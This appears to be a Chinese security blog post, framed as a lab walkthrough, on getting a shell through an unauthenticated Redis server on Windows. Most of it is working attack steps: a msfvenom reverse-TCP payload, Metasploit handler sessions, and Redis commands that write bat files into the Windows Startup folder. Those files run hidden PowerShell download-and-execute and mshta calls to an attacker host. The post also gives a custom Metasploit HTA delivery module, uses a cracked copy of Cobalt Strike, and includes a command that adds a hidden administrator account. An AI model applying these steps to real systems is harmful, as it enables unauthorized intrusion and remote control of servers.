Redis在Windows环境下Getshell方法小结

前言

Redis未授权访问漏洞很早之前就有了,在实战中如果遇到还是比较幸运的。比如挖到ssrf漏洞,如果内网有个未授权或者弱口令的redis,那么就可以深入的挖掘一下。
Redis如果部署在Linux服务器上还好一些,配合nc可以很方便的就拿到了shell。但是如果部署在Windows环境下就比较鸡肋了,虽是这样说,但是也有一些getshell的办法。

环境搭建

系统环境:Windows Server 2012
Redis-x64-3.2.100

靶机设置

配置Redis

安装完Redis后它的服务就自动启动了,所以需要执行以下几步:
1.先停止Redis服务
redis-server --service-stop
2.更改配置文件
进入Redis的安装目录,然后修改windows.conf文件
第56行注释掉# bind 127.0.0.1,第75行把protected-mode yes改成protected-mode no
这样就可以模拟未授权访问的Redis靶机。
3.卸载Redis服务
redis-server --service-uninstall
4.安装Redis服务
redis-server --service-install redis.windows.conf
5.启动redis
redis-server --service-start

端口设置

Redis默认端口是6379,所以你需要在windows的防火墙里开放6379端口,或者搭建靶机的时候直接就关闭防火墙。

测试Redis未授权访问

我是在Centos7上安装过Redis所以直接拿来用了。

1
2
3
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> ping
PONG

配置Windows server 2012

测试过程中发现,默认是无法在启动项文件夹写文件的,需要把C:\Users\Administrator文件夹的组添加上Everyone并把权限改成完全控制
改完以后再测试就可以了

1
2
3
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379>

几种Getshell方法

方法其实挺多的,但是比较鸡肋,都需要目标主机重启才可以实现…

利用powershell反弹shell

1.用msfvenom生成shell.ps1文件

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=Kali的IP LPORT=4444 -f psh-reflection >shell.ps1

2.把shell.ps1文件复制到/var/www/html/目录下,然后启动apache2

3.用msf进行监听
设置payload的时候注意分清系统是32版本的还是64的。

1
2
3
4
5
6
7
8
9
10
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.230.133
lhost => 192.168.230.133
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.230.133:4444


4.利用Redis写入bat文件到启动项
注意\r\n\r\n代表换行的意思,因为用redis写的文件会自带一些版本信息,如果不换行可能会导致无法执行。反斜杠\可以转义你payload中的双引号"

1
2
3
4
5
6
7
8
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379> config set dbfilename shell.bat
OK
192.168.230.134:6379> set x "\r\n\r\npowershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://192.168.230.133/shell.ps1');xx.ps1\"\r\n\r\n"
OK
192.168.230.134:6379> save
OK

5.重启后得到shell

利用mshta.exe

/usr/share/metasploit-framework/modules/exploits/windows目录下创建一个msh_shell.rb文件,复制以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Office Payload Delivery',
'Description' => %q{
This module generates an command to place within
a word document, that when executed, will retrieve a HTA payload
via HTTP from an web server. Currently have not figured out how
to generate a doc.
},
'License' => MSF_LICENSE,
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
['Automatic', {} ],
],
'DefaultTarget' => 0,
))
end

def on_request_uri(cli, _request)
print_status("Delivering payload")
p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt(
framework,
ARCH_X86,
'win',
p.encoded,
'hta-psh',
{ :arch => ARCH_X86, :platform => 'win '}
)
send_response(cli, data, 'Content-Type' => 'application/hta')
end


def primer
url = get_uri
print_status("Place the following DDE in an MS document:")
print_line("mshta.exe \"#{url}\"")
end
end

然后在msf里重新加载所有模块:reload_all
找到之后就可以使用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf5 exploit(windows/msh_shell) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/msh_shell) > set lhost 192.168.230.133
lhost => 192.168.230.133
msf5 exploit(windows/msh_shell) > set uripath shell
uripath => shell
msf5 exploit(windows/msh_shell) > exploit
zlib(finalizer): the stream was freed prematurely.
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.230.133:4444
[*] Using URL: http://0.0.0.0:8080/shell
[*] Local IP: http://192.168.230.133:8080/shell
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://192.168.230.133:8080/shell"

然后利用Redis写入bat文件到启动项

1
2
3
4
5
6
7
8
9
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379> config set dbfilename shell.bat
OK
192.168.230.134:6379> set x "\r\n\r\nmshta http://192.168.230.133:8080/shell\r\n\r\n"
OK
192.168.230.134:6379> save
OK


手动重启靶机就可以拿到session了

使用Cobalt Strike

下载地址就不提供了,我是把Cobalt Strike的服务端脚本放到了kali上运行,然后客户端是在我本机(win10)运行的。

1
2
3
4
root@kali:/tools/cobaltctrike3.13-cracked# ./teamserver 192.168.230.133 233
[*] Generating X509 certificate and keystore (for SSL)
[+] Team server is up on 50050
[*] SHA256 hash of SSL cert is: 56b1896ec2bc1dfaab7445e7b9e63f30ab640e5a6180c2ac41de3d936da6c13b

然后用客户端连接,用户名是msf,密码是233,端口具体看服务端返回的

创建一个listener,payload默认,端口自己设置

生成攻击脚本,注意端口别冲突


最后生成一串payload,用redis写一个bat脚本到启动项,然后等待目标重启即可

1
2
3
4
5
6
7
8
9
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
192.168.230.134:6379> config set dbfilename shell.bat
OK
192.168.230.134:6379> set x "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.230.133:80/a'))\"\r\n\r\n"
OK
192.168.230.134:6379> save
OK

手动重启靶机后Cobalt Strike客户端里就看到有主机上线了~

利用web服务

如果有Web业务的话,可以结合web业务进行Getshell。也是比较鸡肋,起码网站的根目录你得知道。

1
2
3
4
5
6
7
8
9
[root@localhost src]# ./redis-cli -h 192.168.230.134
192.168.230.134:6379> config set dir "C:/phpstudy/WWW"
OK
192.168.230.134:6379> config set dbfilename phpinfo.php
OK
192.168.230.134:6379> set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
OK
192.168.230.134:6379> save
OK

一些思考

在真实环境中确实遇到了几个可以访问启动目录的系统,在测试的过程中,如果安装了安全软件也是可以拿到shell的。还有就是不知道如果开了3389端口的情况下,如果直接执行net user test$ xxxxxx /add & net localgroup administrators test$ /add这种命令会怎样?本地靶机测试是可以的。如果遇到server 2003的系统,可以用写MOF的方法拿shell。真实的业务环境还是很复杂,但是方法总比困难多。

参考链接

https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html
https://blog.csdn.net/weixin_33928467/article/details/86254639

文章作者: Linuz
文章链接: https://linuz.me/2019/08/12/Redis-windows-getshell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Linuz's Blog
敢不敢赏脸一次